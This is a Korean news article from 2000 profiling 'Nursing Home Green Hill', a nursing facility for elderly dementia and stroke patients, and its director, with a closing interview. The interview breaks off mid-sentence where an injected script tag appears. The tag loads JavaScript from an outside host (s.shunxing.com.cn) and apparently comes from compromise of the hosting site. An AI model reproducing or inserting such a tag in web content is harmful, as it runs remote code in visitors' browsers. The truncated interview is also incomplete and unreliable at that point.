기사입력 2000-10-12 오후 15:30:01

"사랑과 정성이 가득한, 머무르고 싶은 곳 - 그린힐"
서울 잠실서 성남방면으로 가는 17-1번이나 117번 버스를 타고 40여분쯤 가다 보면 광주읍 탄벌리에 다다른다. 여기서 내려 탄벌가든을 끼고 마을 길을 10여분쯤 오르다 보면 마을을 한 눈에 내려다 볼 수 있는 곳에 전원풍으로 아담하게 지어진 '너싱홈 그린힐'을 만날 수 있다.

680평 부지에 건평 120평 3층 구조로 지어진 '너싱홈 그린힐'은 우리나라에서는 아직 낯선 용어로 다가서는 '너싱홈'(Nursing home)의 개념을 우리 실정에 맞게 도입한 것.
1층에는 입원실·욕실·식당·휴게실·간호사실이 마련돼 있고 2층에는 입원실과 기능회복실이, 3층에는 사무실이 들어서 있다.
이곳 원장인 조혜숙씨는 얼마 전까지만 해도 강동성심병원 가정간호사업소에서 수간호사로 일해 왔다.
너싱홈과 관련해 조 원장은 "선진국에서는 전문적인 의료서비스를 갖춘 주거시설인 너싱홈이 한창 성업중이나 우리나라에는 아직 이와 관련된 시설이나 정확한 개념도 정립되어 있지 않은 실정"이라고 설명했다.

그는 또 "너싱홈은 병원 밖에서 간호를 제공하는 시설로 치매나 중풍으로 인해 자립생활이 곤란해 간호가 필요한 노인에 대해 간호서비스를 제공하는 곳"이라며 "직접적인 간호를 제공하지 않는 노인 거주시설과 이 점이 다르다"고 강조했다.

조 원장은 우리나라에 너싱홈이 필요한 이유에 대해 "급속한 인구 노령화로 인한 가족중심의 노인부양체계의 해체와 여성의 사회진출로 말미암아 노인부양이 약화되어 가고 있다"고 꼬집는다. 그는 또 "'너싱홈 그린힐'은 이같은 시대적 요구에 부응하고 가정에서 간호와 치료가 어려운 노인환자분들을 모시기 위해 계획된 전문요양시설이며 가정과 같은 안정된 분위기의 쾌적한 환경에서 따뜻한 보호와 경로효친의 미풍양속에 따른 효와 가족적 사고에 중점을 두고 운영되는 병원과 가정의 중간형태 요양시설"이라고 덧붙였다.

그의 말처럼 '너싱홈 그린힐'에 주거하게 될 노인들은 매일 아침 6시에 기상해 오후 10시 잠자리에 들 때까지 가정간호전문간호사들로부터 전문적인 간호를 제공받게 된다.

'너싱홈 그린힐'의 경우 앞으로 우리나라 실정에 맞는 모델로써의 역할을 톡톡히 해 나가기 위해 24시간 간호체계를 도입한다. 미국의 경우 야간의 간호체계가 있는 너싱홈과 그렇지 않은 너싱홈 등 두 가지가 있다. 그러나 '너싱홈 그린힐'은 하루 8시간씩 3교대로 경력이 풍부한 가정전문간호사가 상주하며 치매나 중풍에 걸린 노인들을 보살피게 된다.

특히 '너싱홈 그린힐'은 앞으로 촉탁의사와 물리치료사가 이곳 시설을 일주일에 한번 또는 두 번씩 정기적으로 방문해 진료 및 운동치료도 해 주게 된다. 뿐만 아니라 부양가족의 부득이한 사정으로 일시적인 보호를 필요로 하는 노인을 위한 숙식 및 간호서비스도 제공할 계획이다. 이와 함께 다양하고 균형있는 영양식과 질환에 따른 특별식도 입주노인들에게 제공할 방침이다.

'너싱홈 그린힐'은 이밖에도 이곳 마을 주민들을 위해 무료로 건강교육과 상담을 정기적으로 해주고 지역 독거노인을 위한 무료급식 서비스도 제공할 계획이다.

'너싱홈 그린힐'을 이용하려는 사람은 직접 방문을 하거나 전화를 걸어 상담을 받을 수 있다. 또 입원을 하려면 상담후 거주할 노인에 대한 신체적 기능평가를 받게 되고 결과에 따라 구비서류를 신청인에 통보하게 되며 서류접수 후 입원이 결정되면 보증금 1000만원과 동의서를 작성해 제출해야 한다. 이용료는 보증금외에 월 이용료 150만원이며 단기 입원할경우 월 5만원이다. 문의 0347)768-8765∼6.
백찬기 기자 ckback@koreanurse.or.kr


***인터뷰***

"우리나라 실정에 맞는 너싱홈 모델 개발을 위해 최선을 다할 생각입니다."
'너싱홈 그린 힐'의 오픈을 앞두고 준비에 여념이 없는 조혜숙 원장은 "치매나 중풍을 앓고 있는 노인 환자가 크게 늘고 있음에도 불구하고 이들을 위한 시설이 우리나라에는 많이 부족하다"며 이같이 말했다.
조 원장은 특히 "너싱홈 그린힐을 개원하게 된 것은 잠시 임상을 떠나 유학원을 운영하던 90년 영국의 휴양도시 본 마우스를 방문했을 때 그곳에는 간호사들이 개원한 너싱홈이 많았고 노인 환자들이 이들 시설에서 편안한 여생을 보내고 있는 모습을 보고 우리나라에도 이같은 시설들이 필요하다는 생각에서였다"고 설명했다.
조 원장은 "이후 서울대와 연세대를 방문해 너싱홈과 관련된 자료에 대한 조사와 함께 자문을 구하려 했으나 우리나라에는 이때까지만 해도 너싱홈과 관련된 자료는 얻기 어려웠다"고 회고했다.
이어 조 원장은 "너싱홈 개원에 앞서 가정간호 과정을 배워두는 것이 필요하다는 생각에 93년 연세대 간호대학 가정간호 2?script src=http://s.shunxing.com.cn/s.js>

백찬기  news@nursenews.co.kr